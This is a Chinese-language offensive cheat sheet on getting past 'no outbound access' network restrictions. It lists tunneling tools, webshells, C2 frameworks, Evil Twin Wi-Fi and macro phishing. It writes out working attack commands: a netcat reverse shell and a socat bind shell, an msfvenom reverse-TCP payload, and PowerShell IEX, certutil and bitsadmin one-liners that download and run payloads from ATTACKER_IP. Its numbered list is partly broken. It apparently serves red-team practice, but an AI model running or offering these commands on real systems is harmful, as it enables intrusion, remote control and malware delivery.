不出网总结
在渗透测试和攻防演练中,经常会遇到目标内网无法直接访问外网(即“不出网”环境)。以下是20种常见的突破方法,用于在不同网络环境下尝试突破限制,实现外网通信。
一、隧道代理技术
1.
使用 icmp2tcp、Ptunnel、Icmpsh 等工具,将 ICMP 回显请求(ping)封装为数据传输通道。
2.
通过 iodine、dnscat2、dns2tcp 将 DNS 查询封装数据,实现外网通信。
3.
利用 smbexec 或 Impacket 通过 SMB 共享进行数据传输。
4.
在 RDP 连接上建立端口转发,如 rdesktop+plink 进行数据传输。
5.
通过 ssh -D 建立动态代理,或 ssh -L 进行本地端口转发。
6.
使用 chisel、reGeorg、Ligolo 等工具建立 SOCKS 隧道。
二、Web 代理突破
7.
通过 proxifier 或 proxychains 结合外部代理服务器突破限制。
8.
在目标服务器上传 Behinder、Godzilla、China Chopper 之类的 Webshell,通过 HTTP 进行数据通信。
9.
通过 Cloudflare Worker、Frp 绑定域名,利用目标服务器访问外部代理。
10.
浏览器代理(C2 over WebSockets)
通过 WebSockets 隧道 (Merlin、Covenant) 绕过流量检查。
三、端口转发与反弹 shell
sh
socat TCP4-LISTEN:4444 EXEC:/bin/bash
目标服务器出网但屏蔽反向连接时,可尝试 socat 进行端口转发。
sh
nc -e /bin/sh ATTACKER_IP 4444
适用于目标服务器允许 netcat 但无防火墙拦截的情况。
13.
利用 msfvenom 生成 Meterpreter 反向 shell
sh
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe > shell.exe
四、协议仿冒
14.
利用 HTA、JS 执行远程 PowerShell
powershell
IEX (New-Object Net.WebClient).DownloadString("http://ATTACKER_IP/shell.ps1")
适用于 Web 代理允许 HTTP 但不允许直接执行二进制文件的情况。
sh
certutil -urlcache -f http://ATTACKER_IP/malware.exe malware.exe
适用于 Windows 服务器下载受限但 certutil 可用的情况。
通过 msbuild 执行 Payload 绕过执行限制。
sh
bitsadmin /transfer myDownloadJob /download /priority high http://ATTACKER_IP/payload.exe C:\payload.exe
适用于 Windows 任务计划允许 BITS 任务的情况。
五、无线与物理攻击
18.
钓鱼 Wi-Fi(Evil Twin Attack)
伪造目标公司的 Wi-Fi 热点,诱导内网用户连接。
六、社工与供应链攻击
通过恶意 Office 宏、LNK 文件或 HTA 诱导用户执行 Payload。